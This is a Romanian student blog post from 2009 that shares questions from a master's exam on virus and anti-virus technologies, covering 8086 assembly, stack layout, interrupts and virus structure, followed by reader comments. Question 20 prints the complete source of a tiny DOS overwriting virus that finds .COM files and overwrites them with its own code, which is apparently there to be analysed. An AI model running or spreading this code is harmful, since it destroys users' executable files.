feedback from Quality Management of IT&C Secure Systems – take 2

Posted: January 29, 2009 in personal, technical
Tags: ,

Pentru ca se intampla sa mai terminam (sic!) un examen, anume cel cu “Vadim-ul Facultatii de Cibernetica” (quote from Alex Savu): Ion Ivan, countdown-ul ajunge la 4: toate buclucasele pozitionate inteligent (sic!) intr-o saptamana: cea care vine.
Cum cei care au/am facut licenta cu Ivan stiu deja, subiecte aberante si aberatoare, de exersat talentul la compunere libera. Noroc cu Mihu, care a citit notitzele si stia ca indicatorii nivelului de calitate trebuie sa fie senzitivi, necatastrofici…si in inca in vreo 2 feluri, nu stiu de unde a scos Ivan cel Groaznic proprietatile…cred ca mie mi-a scapat RFC-ul ala :p Una peste alta, Ivan e foarte tare ca prof de licenta pentru oameni lenesi (a se citi: eu), pentru ca te tine din scurt. In felul asta am reusit eu acum 2 ani sa muncesc in corporatie, sa-mi termin proiectele de UML, PL/SQL si JME si sa-mi fac si lucrarea de licenta.

Iar pentru ce urmeaza…(Virus and Anti-virus Technologies), this is just a sample.
Pentru cei tari la ASM si dornici sa rada de un biet junior (neprogramator) care a uitat demult sa scrie cod ASM…nu ma judecati pt. ce urmeaza:

Catedra de Informatica
Program Master Securitatea Informatica

1. Octetul cu valoarea binara 11111000 poate fi interpretat de o aplicaţie sau de aplicaţii diferite ca fiind:
a. Numar zecimal pozitiv: 148, Numar zecimal negativ: -108, codul ASCII: 64h
b. Numar zecimal pozitiv: 248, Numar zecimal negativ: -8, codul ASCII: F8h
c. Numar zecimal pozitiv: 249, Numar zecimal negativ: -7, codul ASCII: F9h
d. Numar zecimal pozitiv: 248, Numar zecimal negativ: -9, codul ASCII: F8h
e. Niciunul din răspunsurile anterioare

2. Se consideră setul de instrucţiuni assembler:
mov AX, 1234h; muta in AX valoarea 1234 hexa
push AX ; pune AX pe stiva
push AX
add AX, 2 ; AX = AX + 2
pop BX ; extrage valoarea curenta de pe stiva si pune in BX
push AX
Să se deseneze imaginea stivei corespunzătoare execuţiei ultimei instrucţiuni:
SS:1280 SS:1282 SS:1284 SS:1286 SS:1288
2 bytes = 16 bits

3. Secvenţa de cod în care se modifică valoarea registrului AX:
vb1 DW 1234h
vb2 DD 12345678h

mov AX, vb2
are ca rezultat:
a. Valoarea 1234h în AX
b. Valoarea 5678h în AX
c. Valoarea 3412h în AX
d. Instrucţiunea este greşită. Argumentaţi:___________________________
e. Valoarea 7856h în AX

4. Pentru adresarea oricarei zone de memorie in modul real de adresare (nu in modul protejat) sunt necesare 2 informaţii pe 16 biţi: adresa segmentului şi deplasamentul in cadrul segmentului, offset. Formarea adresei reale fizice pe 20 biţi se realizează automat prin hardware/software de către o componenta a procesorului care deplasează la stânga cu 4 biţi (fiecare bit cu valoarea 0) adresa segmentului şi adună la aceasta adresa offset-ului (deplasamentului). În contextul în care variabilele a şi b au adresele 1A2Dh:0125h şi respectiv 1A3Fh:0005h să se indice rezultatele execuţiei secvenţei de instrucţiuni:

xor ax, ax ; sau-exclusiv pe biti => AX=0
mov ax, 5 ; muta in AX valoarea 5
inc ax ; incrementeaza AX
inc ax
mov a, ax
mov ax, 7
inc ax
mov b, ax
Rezultatele sunt:
a. a are valoarea 7, b are valoarea 7
b. a are valoarea 8, b are valoarea 8
c. a are valoarea 5, b are valoarea 8
d. a are valoarea 5, b are valoarea 7
e. a are valoarea 7, b are valoarea 8

5. Se consideră secvenţa de instrucţiuni assembler (loop et1 = salt conditionat de valoarea registrului CX la eticheta et1):
mov cx,5
et1:
inc ax
xor cx,cx
loop et1
Numărul de execuţii a blocului et1 este:
a. 0 (0000h)
b. 5 (0005h)
c. 6 (0006h)
d. 65535 (FFFFh)
e. Bucla infinită

6. Dacă se consideră imaginea segmentului de cod:

 

1

CS:0000 B8 2B 4F mov ax,4F2Bh
CS:0003 8E D8 mov ds, ax
CS:0003 B8 34 12 mov ax, 1234h
CS:0008 50 push ax
CS:0009 33 C0 xor ax, ax
CS:000B B9 04 00 mov cx,0004h
Indicaţi câţi octeţi ocupă formatul intern (compilat si link-editat) al instrucţiunii xor ax, ax:
a. 1
b. 4
c. 2
d. 3
e. Nici unul din răspunsurile anterioare

7. Se consideră secvenţa de instrucţiuni assembler:
xor cx,cx
mov ax, 5
inc ax
cmp ax, 5 ; compara ax cu 5 prin operatia temporara de scadere ax-5
ja salt1 ; jump above
jb salt2 ; jump below
mov cx,3
salt1:
mov cx,2
salt2:
mov cx,1

După execuţia setului de instrucţiuni, valoarea regăsită în registrul CX este:
a. 0
b. 1
c. 2
d. 3
e. 5

8. Stiind ca la apelul unei proceduri FAR dintr-un subprogram, se pun pe stiva procedurii apelate de la dreapta la stanga parametrii procedurii si adresa de revenire in subprogramul apelator. Valorile se pun invers in memorie la ASM8086 din cauza microprocesorului Intel. In aceste conditii, se consideră secvenţa de instrucţiuni assembler în care se execută apelul unei proceduri de tip far:

 

2

… ; registrul cs = 4F2B
cs:000D A10400 mov ax, [0004]
cs:0010 50 push ax
cs:0011 A10200 mov ax, [0002]
cs:0014 50 push ax
cs:0015 A10000 mov ax, [0000]
cs:0018 50 push ax
cs:0019 9A00002E4F call 4F2E:0000 ; call far ptr addv
cs:001E A30600 mov [0006], ax

;addv PROC FAR
4F2E:0000 55 push BP

Să se deseneze imaginea stivei înainte de a se executa prima instrucţiune din cadrul procedurii addv (adica inainte de instructiunea push BP – stiind ca registrul SS = 4F29 si CS = 4F2B):
SS:000C
SS:000E
SS:0010
SS:0012
SS:0014
SS:0016

9. Stiind că la executia unei intreruperi software, microprocesorul:
a. pune 0 in bitii de flag TF (trap flag) si IF (interrupt enable flag);
b. cauta adresa rutinei de intrerupere in Tabela Vectorilor de Intrerupere; aceasta se gaseste la baza memoriei (segment 0, offset 0) si contine pointeri de tip far (segment:offset) catre handlerul rutinei de intrerupere; pozitia in vectorul de intreruperi defineste numarul intreruperii;
c. face salt de tip „FAR” la adresa rutinei de intrerupere;
d. salveaza pe stiva CS si IP din programul apelator (adresa de revenire);
e. restaureaza IP, CS si seteaza bitii de flag;
f. executa codul rutinei pana cand intalneste IRET.

Să se aleagă o singura varianta de raspuns (cea care pune in ordine logica etapele de mai sus):
A = a + b +c +d + e + f; B= b + a + d + c + f + e; C = b + a + d + e +c; D = b + f + d; E = a

10. Stiind că, pentru copierea unui sir sursa in sir destinatie se poate utiliza oricare dintre cele doua instructiuni („rep movsb” sau „ciclu: movsb loop ciclu”):
si ca in programul executabil fiecare sunt codificate (compilate) altfel:

3

 

trebuie sustinut in termeni de performanta (viteza si memorie) care versiune este mai buna si de ce:
Completati:
______________________________________________________________
______________________________________________________________
______________________________________________________________

11. Stiind ca pentru compilarea macrodefinitiilor se foloseste „programul preprocesor” (are loc inainte de compilare) ce executa macro-expandarea, iar pentru proceduri se genereaza cod executabil ce prezinta „salturi”, alegeti ce fel veti dezvolta (preponderent cu macrodefinitii sau cu proceduri sau combinat) un software antivirus pentru un telefon mobil ce are un microprocesor pe 16 biti si RAM de 8 MB:
a. Preponderent cu macrodefinitii deoarece _________________________________ ____________________________________________________________________________________________________________________________________
b. Preponderent cu proceduri deoarece _____________________________________ ____________________________________________________________________________________________________________________________________
c. Combinate deoarece _________________________________________________ ______________________________________________________________________________________________________________________________________________________________________________________________________

12. Pentru a exemplifica procedura de „reverse engineering” in ASM 8086, se da secventa ASM8086 ce trebuie sa adune 3 numere intregi (shor int – WORD – 2 bytes / octeti fiecare variabila) si sa puna rezultatul in alta variabila (x = y + z + v; „x are deplasament 0000h in cadrul segmentului de date a programului principal”, „y are deplasament 0002h in cadrul segmentului de date a programului principal”, „z are deplasament 0004h in cadrul segmentului de date a programului principal”, „v are deplasament 0006h in cadrul segmentului de date a programului principal”;). Codul compilat al instructiunilor este:
• mov ax, [0002] = A1 02 00
• add ax, [0006] = 03 06 06 00
• add ax, [0004] = 03 06 04 00
• xor ax, ax = 33 C0
• mov [0000], ax = A3 00 00
• push ax = 50
• mov ax, 4C00h = B8 00 4C
• int 21h = CD 21
Sa se completeze ce instructiune lipseste din secventa si sa se completeze codul compilat:
…………………..
cs:0005 33 C0
cs:0007 A1 02 00
cs:000A 03 06 04 00
cs:000E 03 06 06 00
cs:0012 __________ ; <= Se completeaza cu valori hexa
cs:0015 B8 00 4C
cs:0018 CD 21
……………………

13. Structura unui virus contine ca rutine obligatorii:
a. Rutina (Modulul) de cautare
b. Rutina (Modulul) procesare-scop
c. Rutina (Modulul) copiere
d. Rutina (Modulul) anti-detectare

Alegeti un singur raspuns corect:
A = a + b + c; B = a + c; C = b + c; D = a + b + c +d; E = a + d;

14. Completati pe poza in caseta speciala (in stanga-jos pentru fiecare tipologie de virus COM) tipologia virusilor COM prezentati (companion, overwriting – suprascriere, parasitic):

 

4

15. Virusi de fisiere pot fi:
a. de BOOT
b. de drivere si/sau executabile
c. de fisier sursa C++
d. de fisier sursa Java
Alegeti un singur rapuns din urmatoarele:
A = a + b +c + d; B = b + c + d; C = a + b; D = a + d; E = niciunul

16. Virusi de tip companion pot fi de tipul:
a. de boot
b. de fisier sursa C
c. executabil
d. de fisier sursa ASM
e. de fisier sursa C++
Justificati alegerea ________________________________________________________________

17. Virusul X21, pentru sistemul de operare Free BSD UNIX, este scris in limbajul C/C++ si este virus companion deoarece:
a. Sistemul de operare UNIX ruleaza pe o mare varitate de platforme (microprocesoare AMD/Intel sau RISC)
b. Codul compilat al limbajului ASM este mai rapid decat codul compilat al limbajului C
c. Pentru a fi portabil
d. Pentru a fi scris in limbajul de assamblare a microprocesorului existent

Alegeti un singur rapuns din urmatoarele:
A = a + b +c +d; B = a + c; C = b + c; D = c + d; E = nicio justificare

18. Explicati conceptul virusului de cod sursa – SCV – Source Code Virus (poza copyright Mark Ludwig):

 

5

19. Problema de „reverse compiling” pentru virusi de cod sursa (SCV – Source Code Virus) este redata in tabelul de mai jos (poza copyright Mark Ludwig):
SCV isi insereaza codul in fisierul C si compilatorul de C produce codul executabil. In forma executabila programul infectat de SCV ajunge la alt dezvoltator.
Explicati metoda prin care se poate reveni din cod executabil in cod sursa:
__________________________________

 

6

20. Explicati de ce urmatorul cod sursa poate fi considerat un virus sau un program „normal”. Justificati alegerea:

.model small
.code
FNAME EQU 9Eh ; offset nume fisier .com gasit
ORG 100h ; specific .COM
MINI44:
mov AH,4Eh ; cauta fisiere – SEARCH FIRST
mov DX, offset COMP_FILE ; rezultatul cautarii apare la variabila-offset FNAME
int 21h
SEARCH_LP:
jc DONE
mov AX,3D01h ; OPEN – intrerupere pentru deschiderea fisierului
mov DX, FNAME
int 21h
xchg AX,BX ; WRITE – rutina pentru scrierea in fisier
mov AH,40h
mov CL,44
mov DX,100h
int 21h
mov AH,3Eh ; CLOSE – rutina pentru inchiderea fisierului
int 21h
mov AH,4Fh ; SEARCH NEXT – rutina pentru alegerea
int 21h ; urmatorului fisier, numele complet apare
jmp SEARCH_LP ; la variabila-offset FNAME
DONE:
ret
COMP_FILE DB ‘*.COM’,0
FINISH:
END MINI44

Justificati:
__________________________________
__________________________________
_____________________

Advertisements
Comments
  1. Dacă nu scriai pe blog nu mă prindeam că a actualizat toma cel groaznic zip-u de pe ism.ase.ro.

  2. Hum? .zip? ce .zip? :-s alt .zip? nu mai vreau niciun .zip!!! avem deja sute de pagini de ASM…I’m going MAD! ~X(

  3. sin says:

    bei, la 20 e simplu, si n-am mai facut assembler decand ma dadeam cu softice 🙂

    in exemplul dat nu zice ce face rutina de scriere in fisier – mai exact: ce anume scrie.

    si atunci exista doua variante: face search & replace in fisiere (eventual folosind findfirst/findnext din dos) sau adauga cod malitios – de unde rezulta ca poate fi virusache.

    am i right or am i right ? 😛

  4. […] View original post here: Cristina Vintilă: feedback from Quality Management of ITC Secure Systems – take 2 […]

  5. @sin: eu nu am apucat sa ma uit pe subiecte (date anul trecut), ci doar le-am publicat; vezi tu maine(azi) cat mai stii, ca tot drumul Bucuresti-Cluj o sa invat la ASM :-p

  6. vmp says:

    #20 scrie 44 bytes incepand cu ds:100h (care == cs:100h ca e .com), adica, self 🙂

  7. cosmin says:

    la 2 eu zic asa:
    ss:1288 1234
    ss:1286 1236
    ma contrazice cineva? daca nu, sa inteleg ca e raspunsul corect?

  8. colegii de la ism says:

    In numele colegilor de la master iti “multumim” ca nu ne-ai impartasit si noua aceste subiecte, noroc cu o alta persoana mai darnica din acest punct de vedere. Rusinica !!!

  9. @colegii de la ism:
    1. eu ce sa va fac, daca nu-mi cititi blogul si nici nu dati search pe google
    2. persoana de la care le-ati aflat de unde credeti ca le-a avut? ;)…si, de cat timp 🙂

  10. Serge says:

    De acord in mare parte cu tine crow cristina 😉 pt k din cand in cand mai trebuie sa faci si “cercetare” daca vrei sa obtii ceva, nu chiar totul asa de-a moaca. Mai ales ca il avem pe “amicul” nostru google care este f binevoitor 😉

    Iar faza cu impartasirea… hmmm… era putin problematica pe grup deoarece putea sa afle Toma… prietenii stiu de ce :-p

    Eu iti multumesc!

    Tine-ne “la curent te” rog si multa bafta in continuare!

  11. @Serge: multumesc de comment. Da, bafta sa fie!…ca asteptam rezultatele. Spor la invatat pentru urmatoarele 2 🙂

  12. […] Enunturile sunt la feedback from Quality Management of IT&C Secure Systems – take 2 […]

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s